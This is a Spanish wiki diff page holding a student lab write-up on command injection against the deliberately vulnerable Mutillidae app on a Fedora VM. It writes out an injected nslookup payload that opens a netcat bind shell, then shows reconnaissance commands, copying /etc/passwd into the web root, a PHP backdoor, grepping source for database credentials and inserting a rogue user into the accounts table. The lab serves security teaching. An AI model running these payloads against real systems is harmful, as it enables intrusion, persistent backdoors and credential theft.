Herramientas de usuario

Herramientas del sitio


sad:fedora14:p3

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anterior Revisión previa
Próxima revisión
Revisión previa
sad:fedora14:p3 [2018/01/27 22:40]
José Manuel Guallar
sad:fedora14:p3 [2019/01/04 13:18] (actual)
Línea 1: Línea 1:
 +====== Inyección de comandos Netcat ======
 +
 **¿Qué es Inyección de Comando?** **¿Qué es Inyección de Comando?**
  
Línea 28: Línea 30:
   *  Llevar a cabo el reconocimiento de la base de datos   *  Llevar a cabo el reconocimiento de la base de datos
   *  Agregue un usuario a la tabla nowasp. accounts.   *  Agregue un usuario a la tabla nowasp. accounts.
 +
 +Lo primero de todo voy a ver que ip tiene cada una de las maquinas
 +  * Fedora tiene 192.168.153.39
 +  * BT tiene 192.168.153.43
 +
 +{{:​sad:​fedora:​p3:​1.png?​500|}}
 +
 +Vamos como el ejercicio anterior a http://​ip-fedora/​mutillidae y seleccionamos ​
 +
 +OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
 +
 +
  
 A continuación,​ vamos a ejecutar NetCat a la prueba nslookup LOL A continuación,​ vamos a ejecutar NetCat a la prueba nslookup LOL
  
 Instrucciones:​ Instrucciones:​
 +<code basH>
 +www.colegiomontessori.com;​ mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe
 +</​code>​
  
-www.colegiomontessori.com;​ mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444> /tmp/pipe +** Hacemos un  FIFO llamada pipe.**
- +
-Hacemos un  FIFO llamada pipe.+
  
 Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos.
Línea 41: Línea 56:
 Esto permitirá que dos procesos se conecten a netcat. Esto permitirá que dos procesos se conecten a netcat.
  
-nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444.+**nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. 
 + 
 + 
 +{{:​sad:​fedora:​p3:​2.png?​500|}} 
 +{{:​sad:​fedora:​p3:​3.png?​500|}}
  
 **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA
Línea 50: Línea 69:
  
 Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?:​ Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?:​
-====== ​ 
-Conéctese a Netcat ====== 
  
 +====== Conéctese a Netcat ======
  
 Escribir las siguientes sentencias en el BackTrack Escribir las siguientes sentencias en el BackTrack
  
-Reemplazar ​192.168.1.111 ​con la dirección IP de Fedora.+Reemplazar ​la ip con la dirección IP de tu Fedora.
  
-**nc 192.168.1.111 4444**+<code bash> 
 +root@bt:​~# ​nc 192.168.153.39 4444 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​04.png?​500|}}
  
 Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444
  
-**hostname**+''​**hostname**''​
  
 Este es el nombre de host del servidor que aloja DVWA. Este es el nombre de host del servidor que aloja DVWA.
  
-**whoami**+''​**whoami**''​
  
 Es decir, ¿con quién me conecto? Es decir, ¿con quién me conecto?
  
-**pwd**+''​**pwd**''​
  
 directorio de trabajo directorio de trabajo
  
-**uname -a**+''​**uname -a**''​
  
-muestra informacion del sistema ​operatico+muestra informacion del sistema ​operativo
  
-**cat /etc/passwd > passwd.txt**+''​**cat /etc/passwd > passwd.txt**''​
  
 crea passwd.txt localizado en /​var/​www/​html/​multillidae crea passwd.txt localizado en /​var/​www/​html/​multillidae
-ls -l $PWD/​passwd.txt+ 
 +''​**ls -l $PWD/​passwd.txt**''​
  
 lista el fichero passwd.txt lista el fichero passwd.txt
 +
 +{{:​sad:​fedora:​p3:​05.png?​500|}}
  
 **volvemos al Firefox y abrimos otra pestaña y escribimos** **volvemos al Firefox y abrimos otra pestaña y escribimos**
  
-http://​ip-fedora/​mutillidae/​passwd.txt+''​** ​http://​ip-fedora/​mutillidae/​passwd.txt**''​ 
 + 
 +{{:​sad:​fedora:​p3:​06.png?​500|}}
  
 ====== Creación de una puerta trasera (PHP) ====== ====== Creación de una puerta trasera (PHP) ======
Línea 94: Línea 121:
 Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack.
  
-Ahora podemos crear un archivo ​en el servidor web Apache en el directorio /​var/​www/​html/​mutillidae+Ahora podemos crear un script ​en el servidor web Apache en el directorio /​var/​www/​html/​mutillidaeque servirá ​ como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup.
- +
-Vamos a crear un script php que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup.+
  
 <code bash> <code bash>
Línea 106: Línea 131:
 </​code>​ </​code>​
  
-http://​ip-fedora/​multillidae/​nc_connect.php+{{:​sad:​fedora:​p3:​07.png?​500|}} 
 + 
 +''​**http://​ip-fedora/​mutillidae/​nc_connect.php**''​ 
 + 
 +Ejecutamos **nc_connect.php** 
 + 
 +''​**http://​ip-fedora/​mutillidae/​nc_connect.php**''​ 
 + 
 +veremos que en la web pone conectando..... 
 + 
 +abrimos otro terminal en Backtrack y escribimos 
 + 
 +<code bash> 
 + 
 +root@bt:~# nc 192.168.153.39 3333 
 +whoami 
 +ps -eaf | egrep '​(3333|4444)'​ 
 + 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​08.png?​500|}} 
 +{{:​sad:​fedora:​p3:​09.png?​500|}} 
 + 
 +Las dos primeras lineas es la ejecución del netcat via nslookup 
 + 
 +las ultimas lineas el la puerta trasera 
 + 
 +Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña 
 + 
 +primero vamos a ver nuestro directorio de trabajo 
 + 
 +''​**pwd**''​ 
 + 
 +luego vamos a contar los scripts\\ 
 + 
 +''​**find * -name "​*.php"​ | wc -l**''​ 
 + 
 +despues vamos a contar los archivos incluye de php\\ 
 + 
 +''​**find * -name "​*.inc"​ | wc -l**''​ 
 + 
 +lo siguiente sera buscar en cada archivo include (.inc) las palabras "​password"​ "​db"​ o "​database"​\\ 
 + 
 +{{:​sad:​fedora:​p3:​10.png?​500|}} 
 + 
 +<code bash> 
 +find * -name "​*.inc"​ | xargs grep -i password | egrep -i '​(db|database)'​ 
 +</​code>​ 
 + 
 +**find * -name "​*.inc** encuentra todos los archivos con la extensión inc 
 + 
 +** xargs** construye y ejecutar líneas de comando desde entrada estándar 
 + 
 +**grep -i password** busca la palabra password (ignora mayuscula y minusculas) 
 + 
 +**egrep -i '​(db|database)'​** buscar las cadenas db o database 
 + 
 +{{:​sad:​fedora:​p3:​11.png?​500|}} 
 + 
 +<code bash> 
 +find * -name "​*.php"​ | xargs grep -i password | egrep -i '​(db|database)'​ | grep "​="​ | head -8 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​12.png?​500|}} 
 +ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php 
 + 
 +Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de = 
 + 
 +<code bash> 
 +find * -name "​MySQLHandler.php"​ | xargs egrep -i '​(password|username|database)'​ | grep "​="​ | head -10 
 +</​code>​ 
 +{{:​sad:​fedora:​p3:​13.png?​500|}} 
 + 
 +El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. 
 + 
 +<code php> 
 +echo "show databases;"​ | mysql -uroot -psamurai 
 +echo "use nowasp; show tables;"​ | mysql -uroot -psamurai 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​14.png?​500|}} 
 + 
 +Vamos a investigar el contenido de la tabla accounts 
 + 
 +primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas 
 + 
 +<code php> 
 +echo "use nowasp; desc accounts;"​ | mysql -uroot -psamurai 
 +echo "​select * from nowasp.accounts;"​ | mysql -uroot -psamurai 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​15.png?​500|}} 
 + 
 +===== ahora vamos a crear un nuevo usuario en la tabla ===== 
 + 
 + 
 +<code bash> 
 +echo "​insert into nowasp.accounts values (null,'​hacker_jm','​p4sSw0rd!','​H4ck','​TRUE'​);"​ | mysql -uroot -psamurai 
 +echo "​select * from nowasp.accounts;"​ | mysql -uroot -psamurai 
 +</​code>​ 
 +{{:​sad:​fedora:​p3:​16.png?​500|}} 
 + 
 + 
 +''​** print de pantalla final**''​ 
 + 
 +Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php 
 + 
 +<code bash> 
 +echo "​select * from nowasp.accounts where username = '​hacker_nombre';"​ | mysql -uroot -psamurai 
 +netstat -nao | egrep '​(3333|4444)'​ 
 +date 
 +echo "tu nombre"​ 
 +</​code>​
  
  
sad/fedora14/p3.1517092829.txt.gz · Última modificación: 2019/01/04 13:18 (editor externo)